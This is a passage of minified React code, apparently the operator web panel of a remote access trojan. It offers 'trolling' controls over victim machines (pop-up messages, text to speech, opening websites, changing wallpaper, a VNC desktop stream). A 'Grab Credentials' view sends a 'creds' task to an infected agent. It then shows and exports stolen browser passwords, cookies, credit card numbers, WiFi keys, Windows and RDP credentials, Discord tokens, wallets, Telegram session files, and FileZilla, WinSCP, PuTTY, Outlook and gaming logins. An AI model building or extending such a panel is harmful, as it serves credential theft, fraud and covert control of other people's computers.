12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:ee?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>B(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Gl,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:te=>g(te.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:te=>v(te.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Xl,{onCancel:()=>h(!1),onSend:_e,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Gl,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:te=>k(te.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r
placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>w(!1),onSend:L,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Gl,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:te=>_(te.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>N(!1),onSend:de,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),A&&s.jsxs(Gl,{title:"Change Wallpaper",color:"#10b981",onClose:()=>O(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:P,onChange:te=>I(te.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r
placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Xl,{onCancel:()=>O(!1),onSend:q,color:"#10b981",disabled:!P.trim()})]})]})}function $s({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Gl({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Xl({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r
hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r
disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function Pi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function $U(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function BU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function FU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function WU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function UU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function VU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var S,N,z,_,A,O,P,I,U,D,M,F,R,W,$,H,X,se,ue,ge,xe,Y,ee,C,K,ne,B,ie,ve,we,_e,L,de,q,te,me,V,Z,fe,E,oe,J,pe,be,ke;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=G=>{f(re=>{const ae=new Set(re);return ae.has(G)?ae.delete(G):ae.add(G),ae})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:G}=await Ee(e,{command:"creds"});let re=0;h.current=setInterval(async()=>{var ae,Oe,lt,We,pn,Zt,pl,qn,Yn,mv,hv,xv;re++;try{const bs=(ae=(await Un(e)).results)==null?void 0:ae.find(Bt=>Bt.task_id===G);if(bs){if(h.current&&clearInterval(h.current),h.current=null,l(!1),bs.error){u(bs.error);return}if(bs.output)try{const Bt=JSON.parse(bs.output);a(Bt);const fr=new Set;(Oe=Bt.chrome_passwords)!=null&&Oe.length&&fr.add("chrome_passwords"),(lt=Bt.firefox_passwords)!=null&&lt.length&&fr.add("firefox_passwords"),(We=Bt.wifi)!=null&&We.length&&fr.add("wifi"),(pn=Bt.windows_credentials)!=null&&pn.length&&fr.add("windows_credentials"),(Zt=Bt.discord_tokens)!=null&&Zt.length&&fr.add("discord_tokens"),(pl=Bt.wallets)!=null&&pl.length&&fr.add("wallets"),(qn=Bt.vpn)!=null&&qn.length&&fr.add("vpn"),((Yn=Bt.steam)!=null&&Yn.found||(mv=Bt.epic)!=null&&mv.found||(hv=Bt.minecraft)!=null&&hv.length||(xv=Bt.roblox)!=null&&xv.found)&&fr.add("gaming"),f(fr)}catch{u("Failed to parse credential data")}}else re>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(G){l(!1),u(G instanceof Error?G.message:"Failed to submit task")}}},[e,m]),[v,b]=p.useState(null),w=(G,re)=>{navigator.clipboard.writeText(G).then(()=>{const ae=re?re.clientX:window.innerWidth/2,Oe=re?re.clientY-30:window.innerHeight/2;b({text:"Copied!",x:ae,y:Oe}),setTimeout(()=>b(null),1200)}).catch(()=>{})},j=(G,re)=>{try{const ae=atob(G),Oe=new Uint8Array(ae.length);for(let Zt=0;Zt<ae.length;Zt++)Oe[Zt]=ae.charCodeAt(Zt);const lt=new Blob([Oe],{type:"application/octet-stream"}),We=URL.createObjectURL(lt),pn=document.createElement("a");pn.href=We,pn.download=re,pn.click(),URL.revokeObjectURL(We)}catch{}},k=()=>{if(!i)return;const G=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),re=URL.createObjectURL(G),ae=document.createElement("a");ae.href=re,ae.download=`credentials_${e.slice(0,8)}.json`,ae.click(),URL.revokeObjectURL(re)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r
bg-zerin-accent hover:bg-zerin-accent-hover text-white\r
px-4 py-2 transition-colors\r
disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:k,className:`inline-flex items-center gap-1.5 text-sm font-medium\r
text-zerin-text-dim hover:text-zerin-text\r
bg-zerin-panel hover:bg-zerin-panel-hover\r
border border-zerin-panel-border\r
px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(On,{title:"Browser Passwords",count:(((S=i.chrome_passwords)==null?void 0:S.length)??0)+(((N=i.firefox_passwords)==null?void 0:N.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:G.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})]})}),s.jsx(On,{title:"Browser Cookies",count:((z=i.chrome_cookies)==null?void 0:z.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(_=i.chrome_cookies)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:G.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.value,ae),children:[G.value.slice(0,40),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(On,{title:"Credit Cards",count:((A=i.chrome_cards)==null?void 0:A.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(O=i.chrome_cards)!=null&&O.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:G.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.number,ae),children:G.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.exp})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(On,{title:"WiFi Passwords",count:((P=i.wifi)==null?void 0:P.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(I=i.wifi)!=null&&I.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:G.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password||"(none)"})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(On,{title:"Windows Credentials",count:((U=i.windows_credentials)==null?void 0:U.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(D=i.windows_credentials)!=null&&D.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((G,re)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${G.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[G.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),G.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.username,ae),children:G.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(On,{title:"Discord Tokens",count:((M=i.discord_tokens)==null?void 0:M.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(F=i.discord_tokens)!=null&&F.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:G.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:ae=>w(G.token,ae),children:[G.token.slice(0,20),"..."]})]},re))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(On,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((W=i.filezilla)==null?void 0:W.length)??0)+((($=i.winscp)==null?void 0:$.length)??0)+(((H=i.putty)==null?void 0:H.length)??0)+(((X=i.outlook)==null?void 0:X.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("div",{children:[s.jsxs("p",{className:"text-xs text-zerin-text font-mono mb-1",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:G=>w(i.telegram.path,G),children:i.telegram.path})]}),(((se=i.telegram.files)==null?void 0:se.length)??0)>0&&s.jsx("div",{className:"flex flex-wrap gap-1.5 mt-1",children:i.telegram.files.map((G,re)=>s.jsxs("button",{onClick:()=>j(G.data,G.name),className:`inline-flex items-center gap-1 text-[10px] font-mono text-zerin-accent\r
bg-zerin-accent/10 hover:bg-zerin-accent/20 px-2 py-0.5 transition-colors cursor-pointer`,children:[s.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),G.name]},re))})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),(((ue=i.filezilla)==null?void 0:ue.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((ge=i.winscp)==null?void 0:ge.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),(((xe=i.putty)==null?void 0:xe.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:G.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[G.host,":",G.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.user})]},re))})})]}),(((Y=i.outlook)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["Outlook (",i.outlook.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.outlook.map((G,re)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.account}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:G.server}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:ae=>w(G.password,ae),children:G.password?"••••••••":""})]},re))})})]}),!((ee=i.telegram)!=null&&ee.found)&&!((C=i.filezilla)!=null&&C.length)&&!((K=i.winscp)!=null&&K.length)&&!((ne=i.putty)!=null&&ne.length)&&!((B=i.outlook)!=null&&B.length)&&s.jsx("p",{className:"text-zerin-text-muted text-xs",children:"No application credentials found"})]})}),s.jsx(On,{title:"Gaming Sessions",count:((ie=i.steam)!=null&&ie.found?1:0)+((ve=i.epic)!=null&&ve.found?1:0)+(((we=i.minecraft)==null?void 0:we.length)??0)+((_e=i.roblox)!=null&&_e.found?1:0),expanded:d.has("gaming"),onToggle:()=>g("gaming"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[((L=i.steam)==null?void 0:L.found)&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:s.jsx("span",{className:"text-blue-400",children:"Steam"})}),s.jsxs("div",{className:"flex flex-wrap 